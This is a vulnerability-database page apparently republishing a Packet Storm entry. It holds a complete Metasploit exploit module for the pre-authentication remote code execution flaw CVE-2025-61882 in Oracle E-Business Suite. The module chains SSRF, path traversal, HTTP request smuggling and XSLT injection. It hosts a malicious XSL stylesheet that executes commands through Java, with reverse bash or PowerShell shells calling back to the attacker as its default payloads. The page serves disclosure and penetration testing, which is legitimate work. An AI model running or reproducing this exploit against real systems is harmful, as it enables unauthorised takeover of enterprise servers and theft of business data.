Lucene search
K

📄 Oracle E-Business Suite CVE-2025-61882 Remote Code Execution

🗓️ 22 Jan 2026 00:00:00Reported by Mathieu Dupas, Jake Knott, watchTowr Labs, Sina Kheirkhah, SonnyType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 133 Views

Oracle E-Business Suite CVE-2025-61882 RCE via SSRF, path traversal and XSLT injection with interactive shell.

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE',
            'Description' => %q{
              This module exploits CVE-2025-61882 in Oracle E-Business Suite
              by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection.
    
              The exploit hosts a malicious XSL file
              that the target will fetch and process, leading to RCE.
    
              This module provides an interactive shell session.
              Vulnerable versions affected are 12.2.3-12.2.14.
            },
            'Author' => [
              'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article
              'Mathieu Dupas' # Metasploit module development
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-61882'],
              [
                'URL',
                'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/'
              ],
              ['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html']
            ],
            'Targets' => [
              [
                'Linux/Unix (Interactive Shell)',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                    # Simple payload but feel free to use meterpreter ones if needed
                  }
                }
              ],
              [
                'Windows (Interactive Shell)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/reverse_powershell'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-10-04',
            'DefaultOptions' => {
              'WfsDelay' => 10
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          Opt::RPORT(8000),
          OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
          OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
          OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
          OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
          OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
        ])
      end
    
      def check
        vprint_status('Checking if target is vulnerable...')
    
        return CheckCode::Safe unless oracle_ebs_detected?
    
        csrf_token = retrieve_csrf_token
        return CheckCode::Unknown unless csrf_token
    
        return CheckCode::Appears if vulnerable_servlet_accessible?(csrf_token)
    
        CheckCode::Safe
      end
    
      # Serve malicious XSLT file
      def on_request_uri(cli, request)
        print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}")
    
        if request.uri.include?('.xsl')
          print_good("Serving  XSL payload to #{cli.peerhost}...")
    
          xsl_content = generate_xsl_payload
    
          send_response(cli, xsl_content, {
            'Content-Type' => 'application/xml',
            'Content-Length' => xsl_content.length.to_s,
            'Connection' => 'close'
          })
    
          # Mark XSL file as served
          @xsl_served = true
          print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)")
    
        else
          print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404")
          send_not_found(cli)
        end
      end
    
      def generate_xsl_payload
        command = payload.encoded
        vprint_status("Generated command: #{command}")
    
        # Adapt the command to the platform
        base_cmd = case target['Platform']
                   when 'win'
                     ['cmd.exe', '/c']
                   else
                     ['sh', '-c']
                   end
    
        # Escaping apostrophes and backslashes
        escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'")
    
        js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
        # JavaScript code that will be executed server side via XSLT
        js = %|
        var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String');
        var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3);
        java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}');
        java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}');
        java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}');
        var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime();
        var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]});
        1
        |
    
        # Encode in base64 to avoid problems with XML parsing
        encoded_js = Rex::Text.encode_base64(js)
    
        # Generate XSLT
        %|<?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
        xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
        xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
        xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'#{encoded_js}')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>|
      end
    
      def exploit
        @xsl_served = false
        @session_created = false
    
        # Step 1 : Start HTTP server for XSL file serving
        print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
        start_service(
          'Uri' => {
            'Proc' => proc { |cli, request| on_request_uri(cli, request) },
            'Path' => '/'
          }
        )
    
        # construct server URL
        server_url = get_uri
        xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl"
        print_status("XSL payload will be served at: #{xsl_url}")
    
        # Step 2: Get CSRF token
        print_status('Retrieving CSRF token from target...')
        csrf_token = retrieve_csrf_token
    
        fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token
    
        print_good("CSRF token retrieved: #{csrf_token}")
    
        # Step 3: Smuggle payload
        print_status('Creating HTTP request smuggling payload...')
        smuggle_payload = create_smuggle_payload
    
        vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)")
    
        # Step 4: Send exploit request
        print_status('Triggering exploitation via UiServlet...')
        send_exploit_request(smuggle_payload)
    
        # Step 5: Wait for XSLT file download
        print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...")
    
        begin
          # Wait for XSL request
          retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do
            @xsl_served
          end
    
          # Wait for shell connection
          print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...")
          retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do
            session_created?
          end
    
          print_good('Session created successfully!')
          @session_created = true
        rescue ::Timeout::Error
          if !@xsl_served
            print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired")
          else
            print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired")
          end
        end
      end
    
      def retrieve_csrf_token
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
          'keep_cookies' => true
        })
    
        return nil unless res
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
          'headers' => {
            'CSRF-XHR' => 'YES',
            'FETCH-CSRF-TOKEN' => '1'
          },
          'keep_cookies' => true
        })
    
        if res && res.code == 200 && res.body
          parts = res.body.split(':')
          return parts[1].strip if parts.length >= 2
        end
    
        nil
      rescue ::Rex::ConnectionError, ::Timeout::Error => e
        vprint_error("Connection failed: #{e.class}")
        nil
      end
    
      def create_smuggle_payload
        srvhost = datastore['SRVHOST']
        srvport = datastore['SRVPORT']
    
        srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0'
    
        smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
        smuggle_request += "Host: #{srvhost}:#{srvport}\r\n"
        smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
        smuggle_request += "Connection: keep-alive\r\n"
    
        # Add sessions cookies
        cookies = get_cookies
        smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty?
    
        # Add POST request via CRLF
        smuggle_request += "\r\n\r\n\r\nPOST /"
    
        vprint_status("Smuggled request will target: #{srvhost}:#{srvport}")
        vprint_status('Full smuggled request:')
        vprint_line(smuggle_request) if datastore['VERBOSE']
    
        # Encode payload in HTML entities
        cook_smuggle_stub(smuggle_request)
      end
    
      def cook_smuggle_stub(payload)
        payload = payload.sub(/^(?:POST|GET) /, '')
    
        # Encode in HTML entities
        Rex::Text.html_encode(payload)
      end
    
      def send_exploit_request(encoded_payload)
        # Encoded payload is inserted in return_url (SSRF)
    
        xml = %(<?xml version="1.0" encoding="UTF-8"?>\
        <initialize>\
        <param name="init_was_saved">test</param>\
        <param name="return_url">http://apps.example.com:7201#{encoded_payload}</param>\
        <param name="ui_def_id">0</param>\
        <param name="config_effective_usage_id">0</param>\
        <param name="ui_type">Applet</param>\
        </initialize>)
    
        vprint_status('Sending exploit to UiServlet...')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
          'vars_post' => {
            'redirectFromJsp' => '1',
            'getUiType' => xml
          },
          'keep_cookies' => true
        })
    
        if res
          vprint_status("UiServlet responded with: #{res.code}")
          vprint_status("Response body length: #{res.body.length} bytes") if res.body
        else
          print_warning('No response from UiServlet (this might be normal)')
        end
    
        res
      end
    
      def get_cookies
        cookies = []
        cookie_jar.cookies.each do |cookie|
          cookies << "#{cookie.name}=#{cookie.value}"
        end
        cookies.join('; ')
      end
    
      def oracle_ebs_detected?
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp')
        })
    
        res && (res.headers['Server']&.include?('Oracle') ||
                res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12
      rescue StandardError
        false
      end
    
      def vulnerable_servlet_accessible?(_csrf_token)
        test_xml = '<?xml version="1.0" encoding="UTF-8"?>' \
                   '<initialize>' \
                   '<param name="init_was_saved">test</param>' \
                   '<param name="return_url">http://example.com/test</param>' \
                   '<param name="ui_def_id">0</param>' \
                   '<param name="config_effective_usage_id">0</param>' \
                   '<param name="ui_type">Applet</param>' \
                   '</initialize>'
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
          'vars_post' => {
            'redirectFromJsp' => '1',
            'getUiType' => test_xml
          },
          'keep_cookies' => true
        })
    
        res && [200, 302].include?(res.code)
      rescue StandardError
        false
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation